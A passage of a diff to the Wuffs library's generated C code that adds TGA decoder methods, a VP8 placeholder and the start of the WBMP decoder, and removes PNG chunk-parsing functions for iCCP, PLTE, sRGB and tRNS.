8u)) == 0u) { ++ v_lit_length = self->private_impl.f_width; + } + } +- self->private_impl.f_metadata_x = t_0; ++ break; + } +- self->private_impl.f_metadata_y = 0u; +- self->private_impl.f_metadata_z = 0u; ++ self->private_impl.f_call_sequence = 96u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_frame.v_dst_bytes_per_pixel = v_dst_bytes_per_pixel; ++ self->private_data.s_do_decode_frame.v_dst_x = v_dst_x; ++ self->private_data.s_do_decode_frame.v_dst_y = v_dst_y; ++ self->private_data.s_do_decode_frame.v_mark = v_mark; ++ self->private_data.s_do_decode_frame.v_num_pixels32 = v_num_pixels32; ++ self->private_data.s_do_decode_frame.v_lit_length = v_lit_length; ++ self->private_data.s_do_decode_frame.v_run_length = v_run_length; ++ self->private_data.s_do_decode_frame.v_num_dst_bytes = v_num_dst_bytes; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func tga.decoder.frame_dirty_rect ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_tga__decoder__frame_dirty_rect( ++ const wuffs_tga__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ ++ return wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height); ++} ++ ++// -------- func tga.decoder.num_animation_loops ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_tga__decoder__num_animation_loops( ++ const wuffs_tga__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func tga.decoder.num_decoded_frame_configs ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_tga__decoder__num_decoded_frame_configs( ++ const wuffs_tga__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 32u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func tga.decoder.num_decoded_frames ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_tga__decoder__num_decoded_frames( ++ const wuffs_tga__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 64u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func tga.decoder.restart_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__restart_frame( ++ wuffs_tga__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (self->private_impl.f_call_sequence < 32u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } ++ if (a_index != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_call_sequence = 40u; ++ self->private_impl.f_frame_config_io_position = a_io_position; ++ return wuffs_base__make_status(NULL); ++} + +- goto ok; +- ok: +- self->private_impl.p_decode_gama[0] = 0; +- goto exit; ++// -------- func tga.decoder.set_report_metadata ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_tga__decoder__set_report_metadata( ++ wuffs_tga__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func tga.decoder.tell_me_more ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__tell_me_more( ++ wuffs_tga__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- goto suspend; +- suspend: +- self->private_impl.p_decode_gama[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); ++ goto exit; + ++ goto ok; ++ ok: + goto exit; + exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; + } +- + return status; + } + +-// -------- func png.decoder.decode_iccp ++// -------- func tga.decoder.workbuf_len + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_iccp( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_c = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_tga__decoder__workbuf_len( ++ const wuffs_tga__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_iccp[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++} + +- while (true) { +- if (self->private_impl.f_chunk_length <= 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length -= 1u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if (v_c == 0u) { +- break; +- } +- } +- if (self->private_impl.f_chunk_length <= 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length -= 1u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; +- } +- if (v_c != 0u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); +- goto exit; +- } +- self->private_impl.f_metadata_is_zlib_compressed = true; +- self->private_impl.f_metadata_flavor = 4u; +- self->private_impl.f_metadata_fourcc = 1229144912u; +- self->private_impl.f_metadata_x = 0u; +- self->private_impl.f_metadata_y = 0u; +- self->private_impl.f_metadata_z = 0u; ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) + +- goto ok; +- ok: +- self->private_impl.p_decode_iccp[0] = 0; +- goto exit; +- } ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__VP8) + +- goto suspend; +- suspend: +- self->private_impl.p_decode_iccp[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++// ---------------- Status Codes Implementations + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++// ---------------- Private Consts + +- return status; +-} ++// ---------------- Private Initializer Prototypes + +-// -------- func png.decoder.decode_plte ++// ---------------- Private Function Prototypes + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_plte( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++// ---------------- VTables + +- uint32_t v_num_entries = 0; +- uint32_t v_i = 0; +- uint32_t v_argb = 0; ++// ---------------- Initializer Implementations + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_vp8__placeholder__initialize( ++ wuffs_vp8__placeholder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- +- uint32_t coro_susp_point = self->private_impl.p_decode_plte[0]; +- if (coro_susp_point) { +- v_num_entries = self->private_data.s_decode_plte[0].v_num_entries; +- v_i = self->private_data.s_decode_plte[0].v_i; ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); + } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((self->private_impl.f_chunk_length > 768u) || ((self->private_impl.f_chunk_length % 3u) != 0u)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- v_num_entries = (((uint32_t)(self->private_impl.f_chunk_length)) / 3u); +- self->private_impl.f_chunk_length = 0u; +- while (v_i < v_num_entries) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { +- t_0 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); +- iop_a_src += 3; +- } else { +- self->private_data.s_decode_plte[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_plte[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 16) { +- t_0 = ((uint32_t)(*scratch >> 40)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } +- } +- v_argb = t_0; +- } +- v_argb |= 4278190080u; +- self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); +- self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); +- self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); +- self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); +- v_i += 1u; ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); + } +- while (v_i < 256u) { +- self->private_data.f_src_palette[((4u * v_i) + 0u)] = 0u; +- self->private_data.f_src_palette[((4u * v_i) + 1u)] = 0u; +- self->private_data.f_src_palette[((4u * v_i) + 2u)] = 0u; +- self->private_data.f_src_palette[((4u * v_i) + 3u)] = 255u; +- v_i += 1u; ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); + } +- +- goto ok; +- ok: +- self->private_impl.p_decode_plte[0] = 0; +- goto exit; + } + +- goto suspend; +- suspend: +- self->private_impl.p_decode_plte[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_plte[0].v_num_entries = v_num_entries; +- self->private_data.s_decode_plte[0].v_i = v_i; ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ return wuffs_base__make_status(NULL); ++} + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++wuffs_vp8__placeholder* ++wuffs_vp8__placeholder__alloc(void) { ++ wuffs_vp8__placeholder* x = ++ (wuffs_vp8__placeholder*)(calloc(1, sizeof(wuffs_vp8__placeholder))); ++ if (!x) { ++ return NULL; + } +- +- return status; ++ if (wuffs_vp8__placeholder__initialize( ++ x, sizeof(wuffs_vp8__placeholder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; + } + +-// -------- func png.decoder.decode_srgb +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_srgb( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++size_t ++sizeof__wuffs_vp8__placeholder(void) { ++ return sizeof(wuffs_vp8__placeholder); ++} + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++// ---------------- Function Implementations + +- uint32_t coro_susp_point = self->private_impl.p_decode_srgb[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__VP8) + +- if (self->private_impl.f_chunk_length != 1u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length = 0u; +- self->private_impl.f_metadata_flavor = 5u; +- self->private_impl.f_metadata_fourcc = 1397901122u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t t_0 = *iop_a_src++; +- self->private_impl.f_metadata_x = t_0; +- } +- self->private_impl.f_metadata_y = 0u; +- self->private_impl.f_metadata_z = 0u; ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) + +- goto ok; +- ok: +- self->private_impl.p_decode_srgb[0] = 0; +- goto exit; +- } ++// ---------------- Status Codes Implementations + +- goto suspend; +- suspend: +- self->private_impl.p_decode_srgb[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++const char wuffs_wbmp__error__bad_header[] = "#wbmp: bad header"; ++const char wuffs_wbmp__error__truncated_input[] = "#wbmp: truncated input"; + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++// ---------------- Private Consts + +- return status; +-} ++// ---------------- Private Initializer Prototypes + +-// -------- func png.decoder.decode_trns ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__decode_trns( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++wuffs_wbmp__decoder__do_decode_image_config( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- uint32_t v_i = 0; +- uint32_t v_n = 0; +- uint64_t v_u = 0; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_wbmp__decoder__do_decode_frame_config( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_wbmp__decoder__do_decode_frame( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); + +- uint32_t coro_susp_point = self->private_impl.p_decode_trns[0]; +- if (coro_susp_point) { +- v_i = self->private_data.s_decode_trns[0].v_i; +- v_n = self->private_data.s_decode_trns[0].v_n; +- } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++// ---------------- VTables + +- if (self->private_impl.f_color_type == 0u) { +- self->private_impl.choosy_filter_and_swizzle = ( +- &wuffs_png__decoder__filter_and_swizzle_tricky); +- if (self->private_impl.f_depth <= 8u) { +- self->private_impl.f_dst_pixfmt = 2164295816u; +- self->private_impl.f_src_pixfmt = 2164295816u; +- } else { +- self->private_impl.f_dst_pixfmt = 2164308923u; +- self->private_impl.f_src_pixfmt = 2164308923u; +- } +- if (self->private_impl.f_chunk_length != 2u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length = 0u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint64_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_0 = ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_trns[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_trns[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 8) { +- t_0 = ((uint64_t)(*scratch >> 48)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } +- } +- v_u = t_0; +- } +- if (self->private_impl.f_depth <= 1u) { +- self->private_impl.f_remap_transparency = (((v_u & 1u) * 16777215u) | 4278190080u); +- } else if (self->private_impl.f_depth <= 2u) { +- self->private_impl.f_remap_transparency = (((v_u & 3u) * 5592405u) | 4278190080u); +- } else if (self->private_impl.f_depth <= 4u) { +- self->private_impl.f_remap_transparency = (((v_u & 15u) * 1118481u) | 4278190080u); +- } else if (self->private_impl.f_depth <= 8u) { +- self->private_impl.f_remap_transparency = (((v_u & 255u) * 65793u) | 4278190080u); +- } else { +- self->private_impl.f_remap_transparency = ((v_u * 4295032833u) | 18446462598732840960u); +- } +- } else if (self->private_impl.f_color_type == 2u) { +- self->private_impl.choosy_filter_and_swizzle = ( +- &wuffs_png__decoder__filter_and_swizzle_tricky); +- if (self->private_impl.f_depth <= 8u) { +- self->private_impl.f_dst_pixfmt = 2164295816u; +- self->private_impl.f_src_pixfmt = 2164295816u; +- } else { +- self->private_impl.f_dst_pixfmt = 2164308923u; +- self->private_impl.f_src_pixfmt = 2164308923u; +- } +- if (self->private_impl.f_chunk_length != 6u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length = 0u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint64_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 6)) { +- t_1 = ((uint64_t)(wuffs_base__peek_u48be__no_bounds_check(iop_a_src))); +- iop_a_src += 6; +- } else { +- self->private_data.s_decode_trns[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_trns[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); +- if (num_bits_1 == 40) { +- t_1 = ((uint64_t)(*scratch >> 16)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)); +- } +- } +- v_u = t_1; +- } +- if (self->private_impl.f_depth <= 8u) { +- self->private_impl.f_remap_transparency = ((255u & (v_u >> 0u)) | +- (65280u & (v_u >> 8u)) | +- (16711680u & (v_u >> 16u)) | +- 4278190080u); +- } else { +- self->private_impl.f_remap_transparency = (v_u | 18446462598732840960u); +- } +- } else if (self->private_impl.f_color_type == 3u) { +- self->private_impl.f_dst_pixfmt = 2164523016u; +- self->private_impl.f_src_pixfmt = 2164523016u; +- if (self->private_impl.f_chunk_length > 256u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- v_n = ((uint32_t)(self->private_impl.f_chunk_length)); +- self->private_impl.f_chunk_length = 0u; +- while (v_i < v_n) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_2 = *iop_a_src++; +- self->private_data.f_src_palette[((4u * v_i) + 3u)] = t_2; +- } +- v_i += 1u; +- } ++const wuffs_base__image_decoder__func_ptrs ++wuffs_wbmp__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_wbmp__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_wbmp__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_wbmp__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_wbmp__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_wbmp__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_wbmp__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_wbmp__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_wbmp__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_wbmp__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_wbmp__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_wbmp__decoder__initialize( ++ wuffs_wbmp__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; + } else { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); + } ++ } + +- goto ok; +- ok: +- self->private_impl.p_decode_trns[0] = 0; +- goto exit; ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_wbmp__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_wbmp__decoder* ++wuffs_wbmp__decoder__alloc(void) { ++ wuffs_wbmp__decoder* x = ++ 